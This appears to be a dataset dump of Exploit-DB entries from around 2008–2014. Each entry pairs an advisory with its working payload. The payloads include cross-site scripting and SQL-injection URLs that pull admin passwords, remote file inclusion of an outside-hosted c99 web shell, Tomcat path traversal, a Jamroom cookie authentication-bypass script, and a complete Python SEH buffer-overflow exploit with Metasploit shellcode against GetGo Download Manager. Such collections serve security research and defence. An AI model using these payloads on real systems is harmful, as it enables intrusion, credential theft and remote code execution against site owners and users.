QLWD/code_shield huggingface dataset:
标题: Meeting Room Booking System (MRBS) 1.2.6 - 'month.php' Cross-Site Scripting EDB-ID: 32146 CVE: 2008-3565 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/30531/info
  
MRBS (Meeting Room Booking Software) is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
  
MRBS 1.2.6 is vulnerable; other versions may also be affected. 

http://www.example.com/path/month.php?area=[XSS] URL: https://www.exploit-db.com/exploits/32146
标题: Pligg CMS 9.9.5 - 'CAPTCHA' Registration Automation Security Bypass EDB-ID: 32142 CVE: 2008-3573 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/30518/info

Pligg is prone to a security-bypass weakness.

Successfully exploiting this issue will allow an attacker to register multiple new users through an automated process. This may lead to other attacks.

Pligg 9.9.5 is vulnerable; other versions may also be affected.

<?php

$sitekey=82397834;

$ts_random=$_REQUEST[&#039;ts_random&#039;];

$datekey = date(�F j�);

$rcode = hexdec(md5($_SERVER[&#039;HTTP_USER_AGENT&#039;] . $sitekey . $ts_random . $datekey));

print substr($rcode, 2, 6);

?> URL: https://www.exploit-db.com/exploits/32142
标题: Homes 4 Sale - 'results.php' Cross-Site Scripting EDB-ID: 32141 CVE: 2008-3587 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/30517/info

Homes 4 Sale is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/result.php?r=c%253E%255BHWtZYeidnW%257BdH%253A1MnOwcR%253E%253E%2527tfbsdi%2560uzqf%253Etfbsdi%2527f%253Ebtl%253CTB%253C67%253C2% 253C2%253C498984%253Ctuzmf2%256067%252Fdtt%253C3%253Cjoufsdptnpt%2560bggjmjbuf%25602%2560e3s%2560efsq%253Cksfct31%253Cksfct31%253C93454%253C43642%253Cbtl %253C%253C0e0tfbsdi0q0joufsdptnpt0ynm0epnbjomboefs0joum0e3s0gfg0qpqdbu0w30%253Cqbslfe%252Ftzoejdbujpo%252Fbtl%252Fdpn%2527jqvb%2560je%253E%253A%253A597&K eywords= URL: https://www.exploit-db.com/exploits/32141
标题: Meeting Room Booking System (MRBS) 1.2.6 - 'week.php' Cross-Site Scripting EDB-ID: 32145 CVE: 2008-3565 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/30531/info
 
MRBS (Meeting Room Booking Software) is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
MRBS 1.2.6 is vulnerable; other versions may also be affected. 

http://www.example.com/path/week.php?area=[XSS] URL: https://www.exploit-db.com/exploits/32145
标题: PHP-Nuke Book Catalog Module 1.0 - 'catid' SQL Injection EDB-ID: 32140 CVE: 2008-3513 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/30511/info


The Book Catalog module for PHP-Nuke is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/modules.php?name=BookCatalog&op=category&catid=1+-9+union+select+1,pwd+from+nuke_authors
http://www.example.com/modules.php?name=BookCatalog&op=category&catid=1+-9+union+select+1,aid+from+nuke_authors URL: https://www.exploit-db.com/exploits/32140
标题: Apache Tomcat 6.0.16 - 'RequestDispatcher' Information Disclosure EDB-ID: 32137 CVE: 2008-2370 类型: REMOTE 平台: MULTIPLE 发布日期: 2008-08-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/30494/info

Apache Tomcat is prone to a remote information-disclosure vulnerability.

Remote attackers can exploit this issue to obtain the contents of sensitive files stored on the server. Information obtained may lead to further attacks.

The following versions are affected:

Tomcat 4.1.0 through 4.1.37
Tomcat 5.5.0 through 5.5.26
Tomcat 6.0.0 through 6.0.16

Tomcat 3.x, 4.0.x, and 5.0.x may also be affected.

http://www.example.com/page.jsp?blah=/../WEB-INF/web.xml URL: https://www.exploit-db.com/exploits/32137
标题: common Solutions csphonebook 1.02 - 'index.php' Cross-Site Scripting EDB-ID: 32135 CVE: 2008-3448 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/30485/info

The 'csphonebook' program (from common solutions) is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects csphonebook 1.02; other versions may also be affected. 


http://www.example.com/index.php?letter=[XSS] URL: https://www.exploit-db.com/exploits/32135
标题: GetGo Download Manager 4.9.0.1982 - HTTP Response Header Buffer Overflow Remote Code Execution EDB-ID: 32132 CVE: 2014-2206 类型: REMOTE 平台: WINDOWS 发布日期: 2014-03-09 漏洞利用脚本: #!/usr/bin/python
# Exploit Title: GetGo Download Manager HTTP Response Header Buffer Overflow Remote Code Execution
# Version:       v4.9.0.1982
# CVE:           CVE-2014-2206
# Date:          2014-03-09
# Author:        Julien Ahrens (@MrTuxracer)
# Homepage:      http://www.rcesecurity.com
# Software Link: http://www.getgosoft.com
# Tested on:     WinXP SP3-GER 
#
# Howto / Notes:
# SEH overwrite was taken from outside of loaded modules, because all modules are SafeSEH-enabled
#

from socket import *
from time import sleep
from struct import pack
 
host = "192.168.0.1"
port = 80
 
s = socket(AF_INET, SOCK_STREAM)
s.bind((host, port))
s.listen(1)
print "\n[+] Listening on %d ..." % port
 
cl, addr = s.accept()
print "[+] Connection accepted from %s" % addr[0]
 
junk0 = "\x90" * 4107
nseh = "\x90\x90\xEB\x06"
seh=pack('<L',0x00280b0b)  # call dword ptr ss:[ebp+30] [SafeSEH Bypass]
nops = "\x90" * 50

# windows/exec CMD=calc.exe 
# Encoder: x86/shikata_ga_nai
# powered by Metasploit 
# msfpayload windows/exec CMD=calc.exe R | msfencode -b '\x00\x0a\x0d'

shellcode = ("\xda\xca\xbb\xfd\x11\xa3\xae\xd9\x74\x24\xf4\x5a\x31\xc9" +
"\xb1\x33\x31\x5a\x17\x83\xc2\x04\x03\xa7\x02\x41\x5b\xab" +
"\xcd\x0c\xa4\x53\x0e\x6f\x2c\xb6\x3f\xbd\x4a\xb3\x12\x71" +
"\x18\x91\x9e\xfa\x4c\x01\x14\x8e\x58\x26\x9d\x25\xbf\x09" +
"\x1e\x88\x7f\xc5\xdc\x8a\x03\x17\x31\x6d\x3d\xd8\x44\x6c" +
"\x7a\x04\xa6\x3c\xd3\x43\x15\xd1\x50\x11\xa6\xd0\xb6\x1e" +
"\x96\xaa\xb3\xe0\x63\x01\xbd\x30\xdb\x1e\xf5\xa8\x57\x78" +
"\x26\xc9\xb4\x9a\x1a\x80\xb1\x69\xe8\x13\x10\xa0\x11\x22" +
"\x5c\x6f\x2c\x8b\x51\x71\x68\x2b\x8a\x04\x82\x48\x37\x1f" +
"\x51\x33\xe3\xaa\x44\x93\x60\x0c\xad\x22\xa4\xcb\x26\x28" +
"\x01\x9f\x61\x2c\x94\x4c\x1a\x48\x1d\x73\xcd\xd9\x65\x50" +
"\xc9\x82\x3e\xf9\x48\x6e\x90\x06\x8a\xd6\x4d\xa3\xc0\xf4" +
"\x9a\xd5\x8a\x92\x5d\x57\xb1\xdb\x5e\x67\xba\x4b\x37\x56" +
"\x31\x04\x40\x67\x90\x61\xbe\x2d\xb9\xc3\x57\xe8\x2b\x56" +
"\x3a\x0b\x86\x94\x43\x88\x23\x64\xb0\x90\x41\x61\xfc\x16" +
"\xb9\x1b\x6d\xf3\xbd\x88\x8e\xd6\xdd\x4f\x1d\xba\x0f\xea" +
"\xa5\x59\x50")

payload = junk0 + nseh + seh + nops + shellcode

buffer = "HTTP/1.1 200 "+payload+"\r\n"
 
print cl.recv(1000)
cl.send(buffer)
print "[+] Sending buffer: OK\n"

sleep(3)
cl.close()
s.close() URL: https://www.exploit-db.com/exploits/32132
标题: MJGUEST 6.8 - 'Guestbook.js.php' Cross-Site Scripting EDB-ID: 32128 CVE: 2008-3404 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/30438/info

MJGUEST is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

MJGUEST 6.8 GT is vulnerable; other versions may also be affected.

http://www.example.com/guestbook.js.php?link=[XSS] URL: https://www.exploit-db.com/exploits/32128
标题: libxslt 1.1.x - RC4 Encryption and Decryption functions Buffer Overflow EDB-ID: 32133 CVE: 2008-2935 类型: REMOTE 平台: LINUX 发布日期: 2008-07-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/30467/info

The 'libxslt' library is prone to a heap-based buffer-overflow vulnerability because the software fails to perform adequate boundary checks on user-supplied data.

An attacker may exploit this issue to execute arbitrary code with the privileges of the user running an application that relies on the affected library. Failed exploit attempts will likely result in denial-of-service conditions.

This issue affects libxslt 1.1.8 to 1.1.24. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/32133.xsl URL: https://www.exploit-db.com/exploits/32133
标题: Eyeball MessengerSDK 'CoVideoWindow.ocx' 5.0.907 - ActiveX Control Remote Buffer Overflow EDB-ID: 32124 CVE: 2008-3430 类型: REMOTE 平台: WINDOWS 发布日期: 2008-07-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/30424/info

The 'CoVideoWindow.ocx' ActiveX control of Eyeball MessengerSDK is prone to a stack-based buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied input.

An attacker can exploit this issue to execute arbitrary code in the context of an application using the affected ActiveX control (typically Internet Explorer). Failed attacks will likely cause denial-of-service conditions.

This issue affects 'CoVideoWindow.ocx' 5.0.907.1; other versions may also be affected.

<html> <object classid='clsid:CA06EE71-7348-44c4-9540-AAF0E6BD1515' id='test'></object> <input language=VBScript onclick=buffero() type=button value="Crash"> <script language = 'vbscript'> Sub buffero() crash = String(515000, unescape("%41")) test.BgColor = crash End Sub </script> </html> URL: https://www.exploit-db.com/exploits/32124
标题: ScrewTurn Software ScrewTurn Wiki 2.0.x - 'System Log' Page HTML Injection EDB-ID: 32126 CVE: 2008-3483 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/30429/info


ScrewTurn Wiki is prone to an HTML-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

The issue affects ScrewTurn Wiki 2.0.29 and 2.0.30; other versions may also be affected. 

The following example URI is available:
http://www.example.com/?[script]alert('XSS')[/script] URL: https://www.exploit-db.com/exploits/32126
标题: Unreal Tournament 2004 - Null Pointer Remote Denial of Service EDB-ID: 32125 CVE: 2008-3396 类型: DOS 平台: MULTIPLE 发布日期: 2008-07-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/30427/info

Unreal Tournament 2004 is prone to a remote denial-of-service vulnerability because the application fails to handle NULL-pointer exceptions.

An attacker could exploit this issue to crash the affected application, denying service to legitimate users.

This issue affects Unreal Tournament 2004 v3369 and prior versions. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/32125.zip URL: https://www.exploit-db.com/exploits/32125
标题: Unreal Tournament 3 - Memory Corruption (Denial of Service) EDB-ID: 32127 CVE: 2008-3409 类型: DOS 平台: MULTIPLE 发布日期: 2008-07-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/30430/info

Unreal Tournament 3 is prone to multiple remote vulnerabilities, including a denial-of-service issue and a memory-corruption issue.

An attacker can exploit these issues to execute arbitrary code within the context of the affected application or cause the application to crash.

These issues affect the following versions:

Unreal Tournament 3 1.3beta4
Unreal Tournament 3 1.2 and prior

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/32127.zip URL: https://www.exploit-db.com/exploits/32127
标题: Owl Intranet Engine 0.95 - 'register.php' Cross-Site Scripting EDB-ID: 32122 CVE: 2008-3100 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/30410/info

Owl Intranet Engine is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Owl Intranet Engine 0.95 is vulnerable; prior versions may also be affected. 

http://www.example.com/Owl/register.php?myaction=getpasswd&username="><script>alert(1);</script> URL: https://www.exploit-db.com/exploits/32122
标题: Web Wiz Forum 9.5 - 'admin_category_details.asp?mode' Cross-Site Scripting EDB-ID: 32120 CVE: 2008-3391 类型: WEBAPPS 平台: ASP 发布日期: 2008-07-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/30398/info
 
Web Wiz Forums is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
Web Wiz Forums 9.5 is vulnerable; other versions may also be affected.

http://www.example.com/admin_category_details.asp?mode=%3C/textarea%3E&#039;%22%3E%3Cscript%3Ealert(&#039;document.cookie&#039;)%3C/script%3E URL: https://www.exploit-db.com/exploits/32120
标题: Jamroom 3.3.8 - Cookie Authentication Bypass EDB-ID: 32121 CVE: 2008-3375 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/30406/info

Jamroom is prone to fourteen security vulnerabilities, including an authentication-bypass vulnerability that occurs because the application fails to verify user-supplied data.

Very few technical details are available regarding the remaining security vulnerabilities. We will update this BID when more information is disclosed.

An attacker can exploit the authentication-bypass vulnerability to gain administrative access to the affected application; other attacks are also possible. Effects of the remaining security vulnerabilities are not currently known. 

<?php
$data = array();
$user = 'admin'; // Target

$data[0] = base64_encode(serialize($user));
$data[1] = (bool)0;
echo "\n\n===[ 0 ] ========================\n\n";
echo 'Cookie: JMU_Cookie=' . urlencode(serialize($data));
$data[1] = (bool)1;
echo "\n\n===[ 1 ] ========================\n\n";
echo 'Cookie: JMU_Cookie=' . urlencode(serialize($data));
?> URL: https://www.exploit-db.com/exploits/32121
标题: EMC Centera Universal Access 4.0_4735.p4 - 'Username' SQL Injection EDB-ID: 32113 CVE: 2008-3370 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/30358/info

EMC Centera Universal Access (CUA) is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

CUA 4.0_4735.p4 is vulnerable; other versions may also be affected.

Username: valid_user_name
Password: -- URL: https://www.exploit-db.com/exploits/32113
标题: Web Wiz Forum 9.5 - 'admin_group_details.asp?mode' Cross-Site Scripting EDB-ID: 32119 CVE: 2008-3391 类型: WEBAPPS 平台: ASP 发布日期: 2008-07-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/30398/info

Web Wiz Forums is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Web Wiz Forums 9.5 is vulnerable; other versions may also be affected.

http://www.example.com/admin_group_details.asp?mode=%3C/textarea%3E&#039;%22%3E%3Cscript%3Ealert(&#039;document.cookie&#039;)%3C/script%3E URL: https://www.exploit-db.com/exploits/32119
标题: Claroline 1.8 - '/tracking/courseLog.php?view' Cross-Site Scripting EDB-ID: 32108 CVE: 2008-3315 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/30346/info
  
Claroline is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
  
Versions prior to Claroline 1.8.11 are vulnerable. 

http://www.example.com/[installdir]/claroline/tracking/courseLog.php?view=DSec"
STYLE="xss:expression(alert(&#039;DSecRG XSS&#039;)) URL: https://www.exploit-db.com/exploits/32108
标题: AtomPhotoBlog 1.15 - 'atomPhotoBlog.php' SQL Injection EDB-ID: 32114 CVE: 2008-3351 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/30360/info

AtomPhotoBlog is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

AtomPhotoBlog 1.15b1 is vulnerable; other versions may also be affected.

http://www.example.com/atomPhotoBlog.php?do=show&photoId=969696+union+select+0,0,0,0,0,0,0,0,0,0,0,mail,pass,0+from+user URL: https://www.exploit-db.com/exploits/32114
标题: Pre Survey Generator - 'default.asp' SQL Injection EDB-ID: 32111 CVE: 2008-3310 类型: WEBAPPS 平台: ASP 发布日期: 2008-07-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/30349/info

Pre Survey Generator is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/poll/default.asp?catid=1+union+select+0,password+from+users URL: https://www.exploit-db.com/exploits/32111
标题: Claroline 1.8 - '/tracking/toolaccess_details.php?toolId' Cross-Site Scripting EDB-ID: 32109 CVE: 2008-3315 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/30346/info
   
Claroline is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
   
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
   
Versions prior to Claroline 1.8.11 are vulnerable. 

http://www.example.com/[installdir]/claroline/tracking/toolaccess_details.php?toolId="><script>alert(&#039;DSecRG
XSS&#039;)</script> URL: https://www.exploit-db.com/exploits/32109
标题: EZContents - 'minicalendar.php' Remote File Inclusion EDB-ID: 32116 CVE: 2008-3575 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/30373/info

ezContents CMS is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker can exploit this issue to execute malicious PHP code in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible. 

http://www.example.com/modules/calendar/minicalendar.php?GLOBALS[rootdp]=./&GLOBALS[gsLanguage]=http://www.example2.com/soqor10/c99.txt? URL: https://www.exploit-db.com/exploits/32116
标题: Flip 3.0 - 'config.php' Remote File Inclusion EDB-ID: 32092 CVE: 2008-3311 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/30312/info

Flip is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker can exploit this issue to execute malicious PHP code in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

Flip 3.0 is vulnerable; other versions may also be affected. 

http://www.example.com/config.php?incpath=[SHELL] URL: https://www.exploit-db.com/exploits/32092
标题: Claroline 1.8 - 'user/user.php' Query String Cross-Site Scripting EDB-ID: 32107 CVE: 2008-3315 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/30346/info
 
Claroline is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
Versions prior to Claroline 1.8.11 are vulnerable. 

http://www.example.com/[installdir]/claroline/user/user.php?"><script>alert(&#039;DSecRG
XSS&#039;)</script> URL: https://www.exploit-db.com/exploits/32107
标题: ZDaemon 1.8 - Null Pointer Remote Denial of Service EDB-ID: 32104 CVE: 2008-3314 类型: DOS 平台: MULTIPLE 发布日期: 2008-07-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/30340/info

ZDaemon is prone to a remote denial-of-service vulnerability because the application fails to handle NULL-pointer exceptions.

An attacker could exploit this issue to crash the affected application, denying service to legitimate users.

This issue affects ZDaemon 1.08.07 and earlier versions.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/32104.zip URL: https://www.exploit-db.com/exploits/32104
标题: PHPKF - 'forum_duzen.php' SQL Injection EDB-ID: 32093 CVE: 2008-6443 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/30318/info

phpKF is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 


http://www.example.com/lab/phpkf/yonetim/forum_duzen.php?kip=forum_duzenle&fno='+union+select+kullanici_adi,concat(database(),0x3a,version()),sifre+from+phpkf_kullanicilar/* URL: https://www.exploit-db.com/exploits/32093
标题: RunCMS 1.6.1 - 'bbPath[root_theme]' Remote File Inclusion EDB-ID: 32100 CVE: 2008-3354 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/30331/info
 
RunCMS is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues can allow an attacker to compromise the application and the underlying system; other attacks are also possible.
 
RunCMS 1.6.1 is vulnerable; other versions may be affected as well. 

http://www.example.com/modules/newbb_plus/config.php?bbPath[root_theme]=http://www.example2.com URL: https://www.exploit-db.com/exploits/32100